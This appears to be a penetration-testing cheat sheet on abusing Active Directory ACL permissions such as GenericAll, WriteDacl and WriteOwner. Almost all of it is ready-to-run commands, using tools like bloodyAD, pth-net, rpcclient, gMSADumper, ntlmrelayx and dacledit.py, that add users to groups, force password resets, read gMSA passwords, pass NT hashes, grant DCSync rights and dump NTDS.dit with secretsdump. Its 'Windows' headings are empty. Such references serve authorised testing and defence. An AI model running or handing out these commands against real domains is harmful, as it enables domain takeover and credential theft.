ACLs/ACEs permissions

AddMember

This abuse can be carried out when controlling an object that has a GenericAll, GenericWrite, Self, AllExtendedRights or Self-Membership, over the target group.

Linux

# Using bloodyAD
bloodyAD --host "$DC_IP" -d "$DOMAIN" -u "$USER" -p "$PASSWORD" add groupMember "$TargetGroup" "$TargetUser"

# With net and cleartext credentials (will be prompted) 
net rpc group addmem "$TargetGroup" "$TargetUser" -U "$DOMAIN"/"$USER" -S "$DC_HOST" 

# With net and cleartext credentials 
net rpc group addmem "$TargetGroup" "$TargetUser" -U "$DOMAIN"/"$USER"%"$PASSWORD" -S "$DC_HOST" 

# With Pass-the-Hash 
pth-net rpc group addmem "$TargetGroup" "$TargetUser" -U "$DOMAIN"/"$USER"%"ffffffffffffffffffffffffffffffff":"$NT_HASH" -S "$DC_HOST"

# Using ldeep
ldeep ldap -d "$DOMAIN" -s "$DC_IP" -u "$USER" -p "$PASSWORD" add_to_group "$TargetUser" "$TargetGroup"

Windows

ForceChangePassword

This abuse can be carried out when controlling an object that has a GenericAll, AllExtendedRights or User-Force-Change-Password over the target user.

Linux

# Modify the user password ‘USER_TARGET’ to ‘Password01!’ with bloodyAD
bloodyAD --host <ip> -d <domain> -u 'user' -p 'password' set password 'USER_TARGET' 'Password01!'

# Modify the password of the user ‘USER_TARGET’ to ‘Password01!’ with rpcclient
rpcclient -U 'user%password' <ip> -W <DOMAIN> -c 'setuserinfo2 <user_target> 23 Password01!'

# Modify the password of the user ‘USER_TARGET’ to ‘Password01!’ with net rpc
net rpc password "user_target" "Password01!" -U '<domain>/user%password' -S <ip>

# With Pass-the-Hash pth-net 
pth-net rpc password "$TargetUser" -U "$DOMAIN"/"$USER"%"ffffffffffffffffffffffffffffffff":"$NT_HASH" -S "$DC_HOST"

# Modify the password of the user ‘USER_TARGET’ to ‘Password01!’ with PowerView.py
powerview <domain>/'user':'password'@<ip> --dc-ip <ip>
PV > Set-DomainUserPassword -Identity 'user_target' -AccountPassword 'Password01!'

---------------------------------------------------------------------------------

# We verify that the change has been made correctly.
nxc smb <ip> -u 'USER_TARGET' -p 'Password01!'

Windows

ReadGMSAPassword

This abuse stands out a bit from other abuse cases. It can be carried out when controlling an object that has enough permissions listed in the target gMSA account's msDS-GroupMSAMembership attribute's DACL. Usually, these objects are principals that were configured to be explictly allowed to use the gMSA account.

The attacker can then read the gMSA (group managed service accounts) password of the account if those requirements are met.

Linux

# Using bloodyAd
bloodyAD --host "$DC_IP" -d "$DOMAIN" -u "$USER" -p "$PASSWORD" get object $TargetObject --attr msDS-ManagedPassword

# Using gMSADumper
gMSADumper.py -u 'user' -p 'password' -d 'domain.local'

# Using ntlmrelayx
ntlmrelayx.py -t ldaps://10.0.0.5 -debug --dump-gmsa --no-dump --no-da --no-acl --no-validate-privs

# Using ldeep
ldeep ldap -d "$DOMAIN" -s "$DC_IP" -u "$USER" -p "$PASSWORD" gmsa -t $TargetObject

Windows

Grant ownership

This abuse can be carried out when controlling an object that has WriteOwner or GenericAll over any object.

The attacker can update the owner of the target object. Once the object owner has been changed to a principal the attacker controls, the attacker may manipulate the object any way they see fit. For instance, the attacker could change the target object's permissions and grant rights

Linux

# Using bloodyAD
bloodyAD --host "$DC_IP" -d "$DOMAIN" -u "$USER" -p "$PASSWORD" set owner $TargetObject $ControlledPrincipal

# Using impacket
owneredit.py -action write -new-owner 'attacker' -target 'victim' 'DOMAIN'/'USER':'PASSWORD'

Windows

Grant Rights

This abuse can be carried out when controlling an object that has WriteDacl over another object.

The attacker can write a new ACE to the target object’s DACL (Discretionary Access Control List). This can give the attacker full control of the target object.

Instead of giving full control, the same process can be applied to allow an object to DCSync by adding two ACEs with specific Extended Rights (DS-Replication-Get-Changes and DS-Replication-Get-Changes-All). Giving full control leads to the same thing since GenericAll includes all ExtendedRights, hence the two extended rights needed for DCSync to work.

Linux

# Give full control (with inheritance to the child object if applicable) 
bloodyAD --host "$DC_IP" -d "$DOMAIN" -u "$USER" -p "$PASSWORD" add genericAll "$TargetObject" "$ControlledPrincipal"

# Give DCSync (DS-Replication-Get-Changes, DS-Replication-Get-Changes-All)
bloodyAD --host "$DC_IP" -d "$DOMAIN" -u "$USER" -p "$PASSWORD" add dcsync "$ControlledPrincipal"

# Give full control 
dacledit.py -action 'write' -rights 'FullControl' -principal 'controlled_object' -target 'target_object' "$DOMAIN"/"$USER":"$PASSWORD" 
# Give DCSync (DS-Replication-Get-Changes, DS-Replication-Get-Changes-All) 
dacledit.py -action 'write' -rights 'DCSync' -principal 'controlled_object' -target 'target_object' "$DOMAIN"/"$USER":"$PASSWORD"

---------------------------------------------------------------------------

# Once the user has DCSync permissions, we make a dump of NTDS.dit
impacket-secretsdump <domain>/'user':'password'@<ip> -dc-ip <ip> -just-dc-ntlm

Windows